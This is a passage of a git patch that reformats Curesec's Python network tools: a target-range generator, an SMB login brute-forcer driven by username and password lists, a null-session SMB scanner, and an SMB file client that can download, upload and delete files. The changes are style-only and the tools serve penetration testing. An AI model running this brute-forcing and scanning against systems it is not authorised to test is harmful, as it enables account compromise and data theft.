chr(data[107]) + chr(data[108]) + - chr(data[109]) + chr(data[110]) + - chr(data[111])) - print("default gateway: " + str(data[74]) + "." + - str(data[75]) + "." + str(data[76]) + "." + - str(data[77])) - print("switch ip: " + str(data[58]) + "." + - str(data[59]) + "." + str(data[60]) + "." + - str(data[61])) - print("subnet mask: " + str(data[66]) + "." + - str(data[67]) + "." + str(data[68]) + "." + - str(data[69])) + print("firmware version: " + chr(data[104]) + + chr(data[105]) + chr(data[106]) + + chr(data[107]) + chr(data[108]) + + chr(data[109]) + chr(data[110]) + + chr(data[111])) + print("default gateway: " + str(data[74]) + "." + + str(data[75]) + "." + str(data[76]) + "." + + str(data[77])) + print("switch ip: " + str(data[58]) + "." + + str(data[59]) + "." + str(data[60]) + "." + + str(data[61])) + print("subnet mask: " + str(data[66]) + "." + + str(data[67]) + "." + str(data[68]) + "." + + str(data[69])) diff --git a/nsdtool/project/targets.py b/nsdtool/project/targets.py index ee6c248..5c28f01 100644 --- a/nsdtool/project/targets.py +++ b/nsdtool/project/targets.py @@ -1,25 +1,25 @@ #!/usr/bin/env python3 -#The MIT License (MIT) +# The MIT License (MIT) # -#Copyright (c) 2014 Curesec GmbH +# Copyright (c) 2014 Curesec GmbH # -#Permission is hereby granted, free of charge, to any person obtaining a copy -#of this software and associated documentation files (the "Software"), to deal -#in the Software without restriction, including without limitation the rights -#to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -#copies of the Software, and to permit persons to whom the Software is -#furnished to do so, subject to the following conditions: +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: # -#The above copyright notice and this permission notice shall be included in -#all copies or substantial portions of the Software. +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. # -#THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -#IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -#FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -#AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -#LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -#OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN -#THE SOFTWARE. +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. import socket import threading @@ -29,12 +29,12 @@ import re from random import shuffle - # type of targets TYPE_IP = 0x01 TYPE_RANGE = 0x02 TYPE_MASK = 0x03 + class Targets(): def __init__(self, hosts, quiet): @@ -49,44 +49,44 @@ def generateTargets(self): """ targets = [] - count, targets_pre = self.prepareTargets() + count, targets_pre = self.prepareTargets() self.generateTargetList(targets_pre, targets) - return count, targets + return count, targets def getNetmask(self, prefix, bit): """ gets a prefix in dotted notation and a bit to indicated netmask. returns start and end ip of netrange as long(!) """ - prefix = struct.unpack(">I",socket.inet_aton(prefix))[0] + prefix = struct.unpack(">I", socket.inet_aton(prefix))[0] - shift = 32-bit + shift = 32 - bit start = prefix >> shift << shift mask = (1 << shift) - 1 end = start | mask - return start,end + return start, end def prepareTargets(self): """ extracts ip-ranges, netmasks und single ips or domains from host queue and puts them into a list; counts total no of targets. """ - pre_targets = [] + pre_targets = [] count = 0 for host in self.hosts: entry = None - if not entry and "-" in host: + if not entry and "-" in host: h = host.split("-") - ip_start = h[0] - ip_end = h[1] + ip_start = h[0] + ip_end = h[1] if self.isIP(ip_start) and self.isIP(ip_end): entry = TYPE_RANGE, (ip_start, ip_end) - start_long = struct.unpack(">I",socket.inet_aton(ip_start))[0] - end_long = struct.unpack(">I",socket.inet_aton(ip_end))[0] - count += (end_long - start_long) + start_long = struct.unpack(">I", socket.inet_aton(ip_start))[0] + end_long = struct.unpack(">I", socket.inet_aton(ip_end))[0] + count += (end_long - start_long) if not entry and "/" in host: h = host.split("/") @@ -95,11 +95,10 @@ def prepareTargets(self): bit = int(h[1]) except ValueError: continue - + if self.isIP(ip): entry = TYPE_MASK, (ip, bit) - count += pow(2,32-bit) - + count += pow(2, 32 - bit) if not entry and (self.isIP(host) or self.isDomain(host)): entry = TYPE_IP, host @@ -113,13 +112,13 @@ def prepareTargets(self): def isIP(self, totest): """ returns whether input is an ip """ - return True if not re.match("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}"\ - "([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$",totest) == None else False + return True if not re.match("^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}" \ + "([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$", totest) == None else False def isDomain(self, totest): """ returns whethter input is a domain """ - return True if not re.match(r"^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}$",\ - totest) == None else False + return True if not re.match(r"^([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+[a-zA-Z]{2,6}$", \ + totest) == None else False def generateTargetList(self, prepared, _targets): """ create a list with all targets """ @@ -128,7 +127,7 @@ def generateTargetList(self, prepared, _targets): if t == TYPE_MASK: net, bit = entry - start, end = self.getNetmask(net,bit) + start, end = self.getNetmask(net, bit) self.iterateOverTargets(start, end, _targets) elif t == TYPE_RANGE: @@ -151,10 +150,10 @@ def iterateOverTargets(self, start, end, targets): ip = start _targets = [] while ip <= end: - if self.quiet == False: + if self.quiet == False: sys.stdout.write("\rgenerating targets: %i" % len(targets)) sys.stdout.flush() - + ip_dotted = socket.inet_ntoa(struct.pack(">I", ip)) targets.append(ip_dotted) ip += 1 From c2f6a4c6e571bbe8aa93de197d7043da3c3c944c Mon Sep 17 00:00:00 2001 From: BhavKaran Date: Fri, 5 Oct 2018 16:46:17 +0530 Subject: [PATCH 04/12] Add files via upload --- smb/smb-brute-force.py | 178 +++++++++++----------- smb/smb-discovery.py | 273 +++++++++++++++++----------------- smb/smb-file-sharing.py | 316 +++++++++++++++++++++------------------- 3 files changed, 389 insertions(+), 378 deletions(-) diff --git a/smb/smb-brute-force.py b/smb/smb-brute-force.py index 36e5f28..9f52355 100755 --- a/smb/smb-brute-force.py +++ b/smb/smb-brute-force.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com import argparse import netaddr @@ -10,108 +10,108 @@ from smb.SMBConnection import SMBConnection - # https://pythonhosted.org/pysmb/api/smb_SharedDevice.html def list_smb_shares(conn, timeout): - for share in conn.listShares(timeout): - if share.type == smb.base.SharedDevice.DISK_TREE: - share_type_name = "Disk" - elif share.type == smb.base.SharedDevice.PRINT_QUEUE: - share_type_name = "Printer" - elif share.type == smb.base.SharedDevice.COMM_DEVICE: - share_type_name = "Comm Device" - elif share.type == smb.base.SharedDevice.IPC: - share_type_name = "IPC" - else: - # should not happen - share_type_name = "" - print "share: %s" % share.name - print " comments: %s" % share.comments - print " type: %s" % share_type_name - print " isSpecial: %s" % share.isSpecial - print " isTemporary: %s" % share.isTemporary - - + for share in conn.listShares(timeout): + if share.type == smb.base.SharedDevice.DISK_TREE: + share_type_name = "Disk" + elif share.type == smb.base.SharedDevice.PRINT_QUEUE: + share_type_name = "Printer" + elif share.type == smb.base.SharedDevice.COMM_DEVICE: + share_type_name = "Comm Device" + elif share.type == smb.base.SharedDevice.IPC: + share_type_name = "IPC" + else: + # should not happen + share_type_name = "" + print "share: %s" % share.name + print " comments: %s" % share.comments + print " type: %s" % share_type_name + print " isSpecial: %s" % share.isSpecial + print " isTemporary: %s" % share.isTemporary def run_brute_force(username, password, args): - ip = args.ip - port = args.port - domain = args.domain - list_shares = args.list_shares - timeout = args.timeout - verbose = args.verbose - - client_name = "client" - server_name = ip - if port == 445: - is_direct_tcp = True - else: - is_direct_tcp = False - - try: - # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) - conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) - smb_authentication_successful = conn.connect(ip, port, timeout = timeout) - if smb_authentication_successful: - print "success: [%s:%s]" % (username, password) - if list_shares: - list_smb_shares(conn, timeout) - else: - if verbose: - print "failed: [%s:%s]" % (username, password) - except: - if verbose: - e = sys.exc_info() - print "%s" % str(e) - finally: - if conn: - conn.close() + ip = args.ip + port = args.port + domain = args.domain + list_shares = args.list_shares + timeout = args.timeout + verbose = args.verbose + + client_name = "client" + server_name = ip + if port == 445: + is_direct_tcp = True + else: + is_direct_tcp = False + + try: + # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) + conn = SMBConnection(username, password, client_name, server_name, domain=domain, use_ntlm_v2=True, + is_direct_tcp=is_direct_tcp) + smb_authentication_successful = conn.connect(ip, port, timeout=timeout) + if smb_authentication_successful: + print "success: [%s:%s]" % (username, password) + if list_shares: + list_smb_shares(conn, timeout) + else: + if verbose: + print "failed: [%s:%s]" % (username, password) + except: + if verbose: + e = sys.exc_info() + print "%s" % str(e) + finally: + if conn: + conn.close() def parse_passwords(username, args): - if args.password != None: - run_brute_force(username, args.password, args) - elif args.passwordfile: - passwordfile = open(args.passwordfile, "r") - for password in passwordfile: - password = password.strip() - run_brute_force(username, password, args) - passwordfile.close() + if args.password != None: + run_brute_force(username, args.password, args) + elif args.passwordfile: + passwordfile = open(args.passwordfile, "r") + for password in passwordfile: + password = password.strip() + run_brute_force(username, password, args) + passwordfile.close() def parse_usernames(args): - if args.username != None: - parse_passwords(args.username, args) - elif args.userfile: - userfile = open(args.userfile, "r") - for username in userfile: - username = username.strip() - parse_passwords(username, args) - userfile.close() + if args.username != None: + parse_passwords(args.username, args) + elif args.userfile: + userfile = open(args.userfile, "r") + for username in userfile: + username = username.strip() + parse_passwords(username, args) + userfile.close() def main(): - parser_description = "Brute forcing does not work properly if unauthorized logins\n" +\ - "are mapped to guest logins. This might happen on Windows XP\n" +\ - "and on Linux systems when \"map to guest\" is enabled." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") - parser.add_argument("-port", action="store", dest="port", required=True, type=int, help="e.g. 139") - group1 = parser.add_mutually_exclusive_group(required=True) - group1.add_argument("-username", action="store", dest="username", help="e.g. administrator") - group1.add_argument("-userfile", action="store", dest="userfile", help="e.g. users.txt") - group2 = parser.add_mutually_exclusive_group(required=True) - group2.add_argument("-password", action="store", dest="password", help="e.g. secret") - group2.add_argument("-passwordfile", action="store", dest="passwordfile", help="e.g. passwords.txt") - parser.add_argument("-domain", action="store", dest="domain", default="", required=False, help="e.g. WORKGROUP") - parser.add_argument("-listshares", action="store_true", dest="list_shares", default=False, required=False, help="list SMB shares") - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, help="default 5") - parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) - args = parser.parse_args() - - parse_usernames(args) + parser_description = "Brute forcing does not work properly if unauthorized logins\n" + \ + "are mapped to guest logins. This might happen on Windows XP\n" + \ + "and on Linux systems when \"map to guest\" is enabled." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + parser.add_argument("-ip", action="store", dest="ip", required=True, help="e.g. 192.168.0.1") + parser.add_argument("-port", action="store", dest="port", required=True, type=int, help="e.g. 139") + group1 = parser.add_mutually_exclusive_group(required=True) + group1.add_argument("-username", action="store", dest="username", help="e.g. administrator") + group1.add_argument("-userfile", action="store", dest="userfile", help="e.g. users.txt") + group2 = parser.add_mutually_exclusive_group(required=True) + group2.add_argument("-password", action="store", dest="password", help="e.g. secret") + group2.add_argument("-passwordfile", action="store", dest="passwordfile", help="e.g. passwords.txt") + parser.add_argument("-domain", action="store", dest="domain", default="", required=False, help="e.g. WORKGROUP") + parser.add_argument("-listshares", action="store_true", dest="list_shares", default=False, required=False, + help="list SMB shares") + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, + help="default 5") + parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) + args = parser.parse_args() + + parse_usernames(args) if __name__ == '__main__': - main() + main() diff --git a/smb/smb-discovery.py b/smb/smb-discovery.py index 9efcc86..582dd43 100755 --- a/smb/smb-discovery.py +++ b/smb/smb-discovery.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com import argparse @@ -11,162 +11,161 @@ from smb.SMBConnection import SMBConnection - # https://pythonhosted.org/pysmb/api/smb_SharedDevice.html def list_smb_shares(conn, timeout): - for share in conn.listShares(timeout): - if share.type == smb.base.SharedDevice.DISK_TREE: - share_type_name = "Disk" - elif share.type == smb.base.SharedDevice.PRINT_QUEUE: - share_type_name = "Printer" - elif share.type == smb.base.SharedDevice.COMM_DEVICE: - share_type_name = "Comm Device" - elif share.type == smb.base.SharedDevice.IPC: - share_type_name = "IPC" - else: - # should not happen - share_type_name = "" - print "share: %s" % share.name - print " comments: %s" % share.comments - print " type: %s" % share_type_name - print " isSpecial: %s" % share.isSpecial - print " isTemporary: %s" % share.isTemporary - - - + for share in conn.listShares(timeout): + if share.type == smb.base.SharedDevice.DISK_TREE: + share_type_name = "Disk" + elif share.type == smb.base.SharedDevice.PRINT_QUEUE: + share_type_name = "Printer" + elif share.type == smb.base.SharedDevice.COMM_DEVICE: + share_type_name = "Comm Device" + elif share.type == smb.base.SharedDevice.IPC: + share_type_name = "IPC" + else: + # should not happen + share_type_name = "" + print "share: %s" % share.name + print " comments: %s" % share.comments + print " type: %s" % share_type_name + print " isSpecial: %s" % share.isSpecial + print " isTemporary: %s" % share.isTemporary def smb_scan(ip, port, list_shares, timeout, verbose): - # empty username and password for null session - username = "" - password = "" - client_name = "client" - server_name = ip - if port == 445: - is_direct_tcp = True - else: - is_direct_tcp = False - try: - # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) - conn = SMBConnection(username, password, client_name, server_name, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) - smb_authentication_successful = conn.connect(ip, port, timeout = timeout) - if smb_authentication_successful: - print "SMB active [null session enabled]: %s:%s" % (ip, port) - if list_shares: - list_smb_shares(conn, timeout) - else: - # on Windows 7 authentication fails due to disabled null sessions - print "SMB active [null session disabled]: %s:%s" % (ip, port) - except: - if verbose: - e = sys.exc_info() - print "%s" % str(e) - finally: - if conn: - conn.close() + # empty username and password for null session + username = "" + password = "" + client_name = "client" + server_name = ip + if port == 445: + is_direct_tcp = True + else: + is_direct_tcp = False + try: + # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) + conn = SMBConnection(username, password, client_name, server_name, use_ntlm_v2=True, + is_direct_tcp=is_direct_tcp) + smb_authentication_successful = conn.connect(ip, port, timeout=timeout) + if smb_authentication_successful: + print "SMB active [null session enabled]: %s:%s" % (ip, port) + if list_shares: + list_smb_shares(conn, timeout) + else: + # on Windows 7 authentication fails due to disabled null sessions + print "SMB active [null session disabled]: %s:%s" % (ip, port) + except: + if verbose: + e = sys.exc_info() + print "%s" % str(e) + finally: + if conn: + conn.close() def connect_scan(ip, port, timeout, verbose): - try: - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(timeout) - s.connect((ip, port)) - except socket.timeout as e: - if verbose: - print "%s" % e - return False - except socket.error as e: - if verbose: - print "%s" % e - return False - finally: - s.close() - return True + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(timeout) + s.connect((ip, port)) + except socket.timeout as e: + if verbose: + print "%s" % e + return False + except socket.error as e: + if verbose: + print "%s" % e + return False + finally: + s.close() + return True def run_scan(ip, port, args): - list_shares = args.list_shares - timeout = args.timeout - verbose = args.verbose - if verbose: - print "scanning: %s:%s" % (ip, port) - connect_successful = connect_scan(ip, port, timeout, verbose) - if connect_successful: - if verbose: - print "port open: %s:%s" % (ip, port) - smb_scan(ip, port, list_shares, timeout, verbose) + list_shares = args.list_shares + timeout = args.timeout + verbose = args.verbose + if verbose: + print "scanning: %s:%s" % (ip, port) + connect_successful = connect_scan(ip, port, timeout, verbose) + if connect_successful: + if verbose: + print "port open: %s:%s" % (ip, port) + smb_scan(ip, port, list_shares, timeout, verbose) def parse_ports(ip, args): - if args.port: - run_scan(ip, args.port, args) - elif args.portrange: - port1 = int(args.portrange.split("-")[0]) - port2 = int(args.portrange.split("-")[1]) - for port in range(port1, port2 + 1): - run_scan(ip, port, args) - elif args.portfile: - portfile = open(args.portfile, "r") - for port in portfile: - port = port.strip() - port = int(port) - run_scan(ip, port, args) - portfile.close() - else: - run_scan(ip, 139, args) - run_scan(ip, 445, args) + if args.port: + run_scan(ip, args.port, args) + elif args.portrange: + port1 = int(args.portrange.split("-")[0]) + port2 = int(args.portrange.split("-")[1]) + for port in range(port1, port2 + 1): + run_scan(ip, port, args) + elif args.portfile: + portfile = open(args.portfile, "r") + for port in portfile: + port = port.strip() + port = int(port) + run_scan(ip, port, args) + portfile.close() + else: + run_scan(ip, 139, args) + run_scan(ip, 445, args) def parse_ips(args): - if args.hostname: - try: - ip = socket.gethostbyname(args.hostname) - except socket.error as e: - if args.verbose: - print "Socket error: %s" % e - return - parse_ports(ip, args) - elif args.ip: - parse_ports(args.ip, args) - elif args.ipnetwork: - ipnetwork = netaddr.IPNetwork(args.ipnetwork) - for ip in ipnetwork: - parse_ports(str(ip), args) - elif args.iprange: - ip1 = args.iprange.split("-")[0] - ip2 = args.iprange.split("-")[1] - iprange = netaddr.IPRange(ip1, ip2) - for ip in iprange: - parse_ports(str(ip), args) - elif args.ipfile: - ipfile = open(args.ipfile, "r") - for ip in ipfile: - ip = ip.strip() - parse_ports(ip, args) - ipfile.close() + if args.hostname: + try: + ip = socket.gethostbyname(args.hostname) + except socket.error as e: + if args.verbose: + print "Socket error: %s" % e + return + parse_ports(ip, args) + elif args.ip: + parse_ports(args.ip, args) + elif args.ipnetwork: + ipnetwork = netaddr.IPNetwork(args.ipnetwork) + for ip in ipnetwork: + parse_ports(str(ip), args) + elif args.iprange: + ip1 = args.iprange.split("-")[0] + ip2 = args.iprange.split("-")[1] + iprange = netaddr.IPRange(ip1, ip2) + for ip in iprange: + parse_ports(str(ip), args) + elif args.ipfile: + ipfile = open(args.ipfile, "r") + for ip in ipfile: + ip = ip.strip() + parse_ports(ip, args) + ipfile.close() def main(): - parser_description = "If no ports are specified, ports 139 and 445 are scanned.\n" +\ - "Use -listshares to list shares when enabled null sessions are found." - parser = argparse.ArgumentParser(description = parser_description, formatter_class=argparse.RawTextHelpFormatter) - group1 = parser.add_mutually_exclusive_group(required=True) - group1.add_argument("-hostname", action="store", dest="hostname", help="e.g. example.com") - group1.add_argument("-ip", action="store", dest="ip", help="e.g. 192.168.0.1") - group1.add_argument("-ipnetwork", action="store", dest="ipnetwork", help="e.g. 192.168.0.0/24") - group1.add_argument("-iprange", action="store", dest="iprange", help="e.g. 192.168.0.1-192.168.0.254") - group1.add_argument("-ipfile", action="store", dest="ipfile", help="e.g. ips.txt") - group2 = parser.add_mutually_exclusive_group(required=False) - group2.add_argument("-port", action="store", dest="port", type=int, help="e.g. 139") - group2.add_argument("-portrange", action="store", dest="portrange", help="e.g. 1-1000") - group2.add_argument("-portfile", action="store", dest="portfile", help="e.g. ports.txt") - parser.add_argument("-listshares", action="store_true", dest="list_shares", default=False, required=False, help="list SMB shares") - parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, help="default 5") - parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) - args = parser.parse_args() - - parse_ips(args) + parser_description = "If no ports are specified, ports 139 and 445 are scanned.\n" + \ + "Use -listshares to list shares when enabled null sessions are found." + parser = argparse.ArgumentParser(description=parser_description, formatter_class=argparse.RawTextHelpFormatter) + group1 = parser.add_mutually_exclusive_group(required=True) + group1.add_argument("-hostname", action="store", dest="hostname", help="e.g. example.com") + group1.add_argument("-ip", action="store", dest="ip", help="e.g. 192.168.0.1") + group1.add_argument("-ipnetwork", action="store", dest="ipnetwork", help="e.g. 192.168.0.0/24") + group1.add_argument("-iprange", action="store", dest="iprange", help="e.g. 192.168.0.1-192.168.0.254") + group1.add_argument("-ipfile", action="store", dest="ipfile", help="e.g. ips.txt") + group2 = parser.add_mutually_exclusive_group(required=False) + group2.add_argument("-port", action="store", dest="port", type=int, help="e.g. 139") + group2.add_argument("-portrange", action="store", dest="portrange", help="e.g. 1-1000") + group2.add_argument("-portfile", action="store", dest="portfile", help="e.g. ports.txt") + parser.add_argument("-listshares", action="store_true", dest="list_shares", default=False, required=False, + help="list SMB shares") + parser.add_argument("-timeout", action="store", dest="timeout", type=int, default=5, required=False, + help="default 5") + parser.add_argument("-v", action="store_true", dest="verbose", default=False, required=False) + args = parser.parse_args() + + parse_ips(args) if __name__ == '__main__': - main() + main() diff --git a/smb/smb-file-sharing.py b/smb/smb-file-sharing.py index 1c49004..8f77470 100755 --- a/smb/smb-file-sharing.py +++ b/smb/smb-file-sharing.py @@ -1,5 +1,5 @@ #!/usr/bin/env python2 -#copyright 2014 curesec gmbh, ping@curesec.com +# copyright 2014 curesec gmbh, ping@curesec.com import argparse @@ -16,193 +16,205 @@ # https://pythonhosted.org/pysmb/api/smb_SharedDevice.html def smb_list_shares(conn, timeout): - for share in conn.listShares(timeout): - if share.type == smb.base.SharedDevice.DISK_TREE: - share_type_name = "Disk" - elif share.type == smb.base.SharedDevice.PRINT_QUEUE: - share_type_name = "Printer" - elif share.type == smb.base.SharedDevice.COMM_DEVICE: - share_type_name = "Comm Device" - elif share.type == smb.base.SharedDevice.IPC: - share_type_name = "IPC" - else: - # should not happen - share_type_name = "" - print "share: %s" % share.name - print " comments: %s" % share.comments - print " type: %s" % share_type_name - print " isSpecial: %s" % share.isSpecial - print " isTemporary: %s" % share.isTemporary + for share in conn.listShares(timeout): + if share.type == smb.base.SharedDevice.DISK_TREE: + share_type_name = "Disk" + elif share.type == smb.base.SharedDevice.PRINT_QUEUE: + share_type_name = "Printer" + elif share.type == smb.base.SharedDevice.COMM_DEVICE: + share_type_name = "Comm Device" + elif share.type == smb.base.SharedDevice.IPC: + share_type_name = "IPC" + else: + # should not happen + share_type_name = "" + print "share: %s" % share.name + print " comments: %s" % share.comments + print " type: %s" % share_type_name + print " isSpecial: %s" % share.isSpecial + print " isTemporary: %s" % share.isTemporary def smb_list_snapshots(conn, share, remotepath, timeout): - for snapshot in conn.listSnapshots(share, remotepath, timeout): - # printing snapshots was not tested yet - print "%s" % snapshot + for snapshot in conn.listSnapshots(share, remotepath, timeout): + # printing snapshots was not tested yet + print "%s" % snapshot + # https://pythonhosted.org/pysmb/api/smb_SharedFile.html def smb_list_path(conn, share, remotepath, timeout, verbose): - for shared_file in conn.listPath(share, remotepath, timeout = timeout): - if shared_file.isDirectory: - print "dir: %s" % shared_file.filename - else: - print "file: %s [%d]" % (shared_file.filename, shared_file.file_size) + for shared_file in conn.listPath(share, remotepath, timeout=timeout): + if shared_file.isDirectory: + print "dir: %s" % shared_file.filename + else: + print "file: %s [%d]" % (shared_file.filename, shared_file.file_size) # https://pythonhosted.org/pysmb/api/smb_SharedFile.html def smb_get_attributes(conn, share, remotepath, timeout, verbose): - shared_file = conn.getAttributes(share, remotepath, timeout = timeout) - shared_file_alloc_size = shared_file.alloc_size - shared_file_create_time = shared_file.create_time - shared_file_file_attributes = shared_file.file_attributes - shared_file_file_size = shared_file.file_size - shared_file_filename = shared_file.filename - shared_file_isDirectory = shared_file.isDirectory - shared_file_isReadOnly = shared_file.isReadOnly - shared_file_last_access_time = shared_file.last_access_time - shared_file_last_attr_change_time = shared_file.last_attr_change_time - shared_file_last_write_time = shared_file.last_write_time - shared_file_short_name = shared_file.short_name - print "alloc_size: %s bytes" % shared_file_alloc_size - print "create_time: %s" % shared_file_create_time - print "file_attributes: %s" % shared_file_file_attributes - print "file_size: %s bytes" % shared_file_file_size - print "filename: %s" % shared_file_filename - print "isDirectory: %s" % shared_file_isDirectory - print "isReadOnly: %s" % shared_file_isReadOnly - print "last_access_time: %s" % shared_file_last_access_time - print "last_attr_change_time: %s" % shared_file_last_attr_change_time - print "last_write_time: %s" % shared_file_last_write_time - print "short_name: %s" % shared_file_short_name + shared_file = conn.getAttributes(share, remotepath, timeout=timeout) + shared_file_alloc_size = shared_file.alloc_size + shared_file_create_time = shared_file.create_time + shared_file_file_attributes = shared_file.file_attributes + shared_file_file_size = shared_file.file_size + shared_file_filename = shared_file.filename + shared_file_isDirectory = shared_file.isDirectory + shared_file_isReadOnly = shared_file.isReadOnly + shared_file_last_access_time = shared_file.last_access_time + shared_file_last_attr_change_time = shared_file.last_attr_change_time + shared_file_last_write_time = shared_file.last_write_time + shared_file_short_name = shared_file.short_name + print "alloc_size: %s bytes" % shared_file_alloc_size + print "create_time: %s" % shared_file_create_time + print "file_attributes: %s" % shared_file_file_attributes + print "file_size: %s bytes" % shared_file_file_size + print "filename: %s" % shared_file_filename + print "isDirectory: %s" % shared_file_isDirectory + print "isReadOnly: %s" % shared_file_isReadOnly + print "last_access_time: %s" % shared_file_last_access_time + print "last_attr_change_time: %s" % shared_file_last_attr_change_time + print "last_write_time: %s" % shared_file_last_write_time + print "short_name: %s" % shared_file_short_name def smb_retrieve_file(conn, share, remotepath, localpath, timeout): - localfile = open(localpath, "w") - conn.retrieveFile(share, remotepath, localfile, timeout) - print "file download complete" + localfile = open(localpath, "w") + conn.retrieveFile(share, remotepath, localfile, timeout) + print "file download complete" + # very important: # offset and maxlength must be integers def smb_retrieve_file_from_offset(conn, share, remotepath, localpath, offset, maxlength, timeout): - localfile = open(localpath, "w") - conn.retrieveFileFromOffset(share, remotepath, localfile, offset, maxlength, timeout) - print "file download complete" + localfile = open(localpath, "w") + conn.retrieveFileFromOffset(share, remotepath, localfile, offset, maxlength, timeout) + print "file download complete" + def smb_store_file(conn, share, localpath, remotepath, timeout): - localfile = open(localpath, "r") - conn.storeFile(share, remotepath, localfile, timeout) - print "file upload complete" + localfile = open(localpath, "r") + conn.storeFile(share, remotepath, localfile, timeout) + print "file upload complete" + def smb_rename_file(conn, share, oldpath, newpath, timeout): - conn.rename(share, oldpath, newpath, timeout) - print "file/directory renamed" + conn.rename(share, oldpath, newpath, timeout) + print "file/directory renamed" + def smb_delete_file(conn, share, remotepath, timeout): - conn.deleteFiles(share, remotepath, timeout) - print "file deleted" + conn.deleteFiles(share, remotepath, timeout) + print "file deleted" -def smb_delete_directory(conn, share, remotepath, timeout): - conn.deleteDirectory(share, remotepath, timeout) - print "directory deleted" +def smb_delete_directory(conn, share, remotepath, timeout): + conn.deleteDirectory(share, remotepath, timeout) + print "directory deleted" def smb_connect(args): - ip = args.ip - port = args.port - username = args.username - password = args.password - domain = args.domain - timeout = args.timeout - verbose = args.verbose - - client_name = "client" - server_name = ip - if port == 445: - is_direct_tcp = True - else: - is_direct_tcp = False - - # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) - conn = SMBConnection(username, password, client_name, server_name, domain = domain, use_ntlm_v2 = True, is_direct_tcp = is_direct_tcp) - smb_authentication_successful = conn.connect(ip, port, timeout = timeout) - if smb_authentication_successful: - print "authentication successful" - return conn - else: - print "authentication failed" - return None + ip = args.ip + port = args.port + username = args.username + password = args.password + domain = args.domain + timeout = args.timeout + verbose = args.verbose + + client_name = "client" + server_name = ip + if port == 445: + is_direct_tcp = True + else: + is_direct_tcp = False + + # def __init__(self, username, password, my_name, remote_name, domain = '', use_ntlm_v2 = True, sign_options = SIGN_WHEN_REQUIRED, is_direct_tcp = False) + conn = SMBConnection(username, password, client_name, server_name, domain=domain, use_ntlm_v2=True, + is_direct_tcp=is_direct_tcp) + smb_authentication_successful = conn.connect(ip, port, timeout=timeout) + if smb_authentication_successful: + print "authentication successful" + return conn + else: + print "authentication failed" + return None -def smb_close(conn): - conn.close() +def smb_close(conn): + conn.close() def run_smb_action(args): - timeout = args.timeout - verbose = args.verbose - try: - conn = smb_connect(args) - if conn: - if args.listshares: - smb_list_shares(conn, timeout) - elif args.listsnapshots: - smb_list_snapshots(conn, args.listsnapshots[0], args.listsnapshots[1], timeout) - elif args.listpath: - smb_list_path(conn, args.listpath[0], args.listpath[1], timeout, verbose) - elif args.getattributes: - smb_get_attributes(conn, args.getattributes[0], args.getattributes[1], timeout, verbose) - elif 